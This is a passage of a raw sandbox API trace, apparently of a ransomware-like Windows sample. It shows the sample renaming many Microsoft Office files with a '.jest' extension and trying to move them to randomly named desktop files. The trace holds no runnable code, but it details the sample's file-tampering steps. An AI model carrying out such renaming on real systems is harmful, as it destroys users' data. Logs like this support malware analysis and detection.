AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.285] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Code_Signing_2001-4_CA.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\verisign_class_3_code_signing_2001-4_ca.cer"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Code_Signing_2001-4_CA.cer.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\verisign_class_3_code_signing_2001-4_ca.cer.jest")) returned 1 [0168.319] VarBstrFromR4 (in: fltIn=0x479458f2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.89") returned 0x0 [0168.321] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Code_Signing_2001-4_CA.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\verisign_class_3_code_signing_2001-4_ca.cer"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NLgX6H3uFchp_L3ApFXXp9ZuUWU4u-yyuX 6KkAMAmJ2xr5f49AOcSYzycE3f64HwW6G00 ob90afhgM7fIkEKgPn9rXky_e84yR.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nlgx6h3ufchp_l3apfxxp9zuuwu4u-yyux 6kkamamj2xr5f49aocsyzyce3f64hww6g00 ob90afhgm7fikekgpn9rxky_e84yr.tmp")) returned 0 [0168.321] GetLastError () returned 0x2 [0168.321] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.322] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\VeriSignLogo.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\verisignlogo.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\VeriSignLogo.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\verisignlogo.jpg.jest")) returned 1 [0168.324] VarBstrFromR4 (in: fltIn=0x479458f2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.89") returned 0x0 [0168.325] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\VeriSignLogo.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\verisignlogo.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4zbkOE9ScNx -k4oPlniEkmcCvSltgwr09QzVwoefqvv51IIqQocyFcEUjGgUL2N6wX5ksGBjA5XOTVtx7wdZ4Iu93fU5KtkVc_cu.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4zbkoe9scnx -k4oplniekmccvsltgwr09qzvwoefqvv51iiqqocyfceujggul2n6wx5ksgbja5xotvtx7wdz4iu93fu5ktkvc_cu.tmp")) returned 0 [0168.325] GetLastError () returned 0x2 [0168.327] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="﫿", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.328] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.jest")) returned 1 [0168.332] VarBstrFromR4 (in: fltIn=0x479458f2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.89") returned 0x0 [0168.334] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WMluYsBQf3NFOixyFUaBQg7EO5n6G kvYZZ9VMSwi9WnMS1RVVN2zuV7OGNcwAKRBriJBhrwDmp7uqGr-DBr0Z9GiJIvI28T7InQ4.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wmluysbqf3nfoixyfuabqg7eo5n6g kvyzz9vmswi9wnms1rvvn2zuv7ogncwakrbrijbhrwdmp7uqgr-dbr0z9gijivi28t7inq4.tmp")) returned 0 [0168.334] GetLastError () returned 0x2 [0168.338] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.339] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBPAGE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webpage.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBPAGE.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webpage.xml.jest")) returned 1 [0168.345] VarBstrFromR4 (in: fltIn=0x479458f4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.91") returned 0x0 [0168.346] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBPAGE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webpage.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\X83NmgEjsfOcdonzmpKNiiVGmH3Bo8rzCHI2Kz4XQwqO89hoCk eIziv7C8SGBiJ2hi-g jKCJ70rFwBhk97t6oI6G6-u BkjC9VN.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\x83nmgejsfocdonzmpkniivgmh3bo8rzchi2kz4xqwqo89hock eiziv7c8sgbij2hi-g jkcj70rfwbhk97t6oi6g6-u bkjc9vn.tmp")) returned 0 [0168.347] GetLastError () returned 0x2 [0168.347] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.348] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImages.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtooliconimages.jpg.jest")) returned 1 [0168.351] VarBstrFromR4 (in: fltIn=0x479458f6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.92") returned 0x0 [0168.352] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtooliconimages.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\323mJW__oTR1TGZF5nICQdMH8vHGkK969kvqCg0QX3LJi-26j8--P8eiZKNKrk45ksN4yl6ba_mMm TJUAjL0ukL8 DD6C hE4.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\323mjw__otr1tgzf5nicqdmh8vhgkk969kvqcg0qx3lji-26j8--p8eizknkrk45ksn4yl6ba_mmm tjuajl0ukl8 dd6c he4.tmp")) returned 0 [0168.352] GetLastError () returned 0x2 [0168.353] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="\xfdd2", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.354] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\whitebox.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\whitebox.jpg.jest")) returned 1 [0168.356] VarBstrFromR4 (in: fltIn=0x479458f6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.92") returned 0x0 [0168.357] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\whitebox.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QuU6Gueta8hnt1YOM9wVffNhtH78rpcsn3Gbd58nCsU0khGwGAJr a6p-jj8XiJufcgSyVUPbGIuuESnlXp4curyIT nPFzSirhG.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\quu6gueta8hnt1yom9wvffnhth78rpcsn3gbd58ncsu0khgwgajr a6p-jj8xijufcgsyvupbgiuuesnlxp4curyit npfzsirhg.tmp")) returned 0 [0168.358] GetLastError () returned 0x2 [0168.358] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.359] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\wordirm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRM.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\wordirm.xml.jest")) returned 1 [0168.362] VarBstrFromR4 (in: fltIn=0x479458f6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.92") returned 0x0 [0168.363] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\wordirm.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3k9CQopfouxuDmn0HQ9l6gq9JWVMbJ3sescUDlieKyyNzkS5U7Pnu78vwtKl2y0rXysQGZcBFHTb2wufbuHv u6zHF2qYu5rTxq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3k9cqopfouxudmn0hq9l6gq9jwvmbj3sescudliekyynzks5u7pnu78vwtkl2y0rxysqgzcbfhtb2wufbuhv u6zhf2qyu5rtxq.tmp")) returned 0 [0168.363] GetLastError () returned 0x2 [0168.363] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.364] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WORDREP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wordrep.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WORDREP.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wordrep.xml.jest")) returned 1 [0168.366] VarBstrFromR4 (in: fltIn=0x479458f8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.94") returned 0x0 [0168.367] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WORDREP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wordrep.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YbZjfIs0stznm93WOFtKpm1wVKwRmVpXW-tqhWaK2FaIeiyy43Ev_2jr4CbM2RHNodAEhAJqJxdDd-SmIdUZal63Zlr2hWkyMch.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ybzjfis0stznm93woftkpm1wvkwrmvpxw-tqhwak2faieiyy43ev_2jr4cbm2rhnodaehajqjxddd-smiduzal63zlr2hwkymch.tmp")) returned 0 [0168.367] GetLastError () returned 0x2 [0168.368] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.369] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLCPRTID.XML" (normalized: "c:\\program files\\microsoft office\\office14\\xlcprtid.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLCPRTID.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\xlcprtid.xml.jest")) returned 1 [0168.372] VarBstrFromR4 (in: fltIn=0x479458f8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.94") returned 0x0 [0168.373] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLCPRTID.XML" (normalized: "c:\\program files\\microsoft office\\office14\\xlcprtid.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\irdY Vewt9CY5oxsbKiBc-8o 9dE8hup0Cf2IttdFre9vrXHjzXgx5rl_g0oJJsWdtXMmztiQGZyww3LqVLUJL6wbvwlre3AsTkt.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\irdy vewt9cy5oxsbkibc-8o 9de8hup0cf2ittdfre9vrxhjzxgx5rl_g0ojjswdtxmmztiqgzyww3lqvlujl6wbvwlre3astkt.tmp")) returned 0 [0168.373] GetLastError () returned 0x2 [0168.374] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.374] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.BR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.br.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.BR.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.br.xml.jest")) returned 1 [0168.381] VarBstrFromR4 (in: fltIn=0x479458fa, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.95") returned 0x0 [0168.382] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.BR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.br.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w7rX2iRAmi 8Jt8bW6eA7W7ViZh_INonEFydOAMw9M3c35dg5PU4BFu0bq_ONIR9LI3_QJg1p_JefNswG3RW7In4zdO_MejQRfYU.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w7rx2irami 8jt8bw6ea7w7vizh_inonefydoamw9m3c35dg5pu4bfu0bq_onir9li3_qjg1p_jefnswg3rw7in4zdo_mejqrfyu.tmp")) returned 0 [0168.382] GetLastError () returned 0x2 [0168.383] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.383] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CA.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.ca.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CA.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.ca.xml.jest")) returned 1 [0168.386] VarBstrFromR4 (in: fltIn=0x479458fa, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.95") returned 0x0 [0168.387] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CA.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.ca.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E-OtQfwSVvC_QUT2KrBjIt7zl-ksnyNFPSrtbOfuolDT1aPPGdlIqs2EAV7VIkiM0-ZEVa3RC3sQDlkaPH0t2vVH8HL4skGqT0Nt.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e-otqfwsvvc_qut2krbjit7zl-ksnynfpsrtbofuoldt1appgdliqs2eav7vikim0-zeva3rc3sqdlkaph0t2vvh8hl4skgqt0nt.tmp")) returned 0 [0168.387] GetLastError () returned 0x2 [0168.388] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.388] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.JP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.jp.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.JP.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.jp.xml.jest")) returned 1 [0168.390] VarBstrFromR4 (in: fltIn=0x479458fa, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.95") returned 0x0 [0168.391] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.JP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.jp.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bnLHMT7j4f9_7hDRas GZpVvlcrvTIMjW3ke hDV33MRG0E92Wp9UHn7QMOX1mdZpbIzbweetJ8iX91wxILPT5wKmRU2u2fTxDt.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bnlhmt7j4f9_7hdras gzpvvlcrvtimjw3ke hdv33mrg0e92wp9uhn7qmox1mdzpbizbweetj8ix91wxilpt5wkmru2u2ftxdt.tmp")) returned 0 [0168.391] GetLastError () returned 0x2 [0168.391] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.392] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.CN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.cn.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.CN.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.cn.xml.jest")) returned 1 [0168.393] VarBstrFromR4 (in: fltIn=0x479458fa, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.95") returned 0x0 [0168.394] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.CN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.cn.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zZMi3sRxeDpM_e23mk-4sxgYQhFWpIfSTi7H_eQ_TMMCDorpZrOYoGSUBRjvb0s_xl6RHTwMRH_VYbvoYNl9Ah12uDySXkSHYBjm.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zzmi3srxedpm_e23mk-4sxgyqhfwpifsti7h_eq_tmmcdorpzroyogsubrjvb0s_xl6rhtwmrh_vybvoynl9ah12udysxkshybjm.tmp")) returned 0 [0168.394] GetLastError () returned 0x2 [0168.394] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.395] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.de.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.de.xml.jest")) returned 1 [0168.397] VarBstrFromR4 (in: fltIn=0x479458fc, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.97") returned 0x0 [0168.398] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.de.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WA0n7ZHjpwjW0wwU_ODfp87eS9dVU5b5sLdD1uzUt1j7 qX3nlvzZaBzVjlPxTqvuhTJzc24R wEE1xK_AVqONJ5NR68OxMEREWB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wa0n7zhjpwjw0wwu_odfp87es9dvu5b5sldd1uzut1j7 qx3nlvzzabzvjlpxtqvuhtjzc24r wee1xk_avqonj5nr68oxmerewb.tmp")) returned 0 [0168.399] GetLastError () returned 0x2 [0168.399] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.400] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.HK.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.hk.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.HK.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.hk.xml.jest")) returned 1 [0168.401] VarBstrFromR4 (in: fltIn=0x479458fc, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.97") returned 0x0 [0168.402] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.HK.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.hk.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 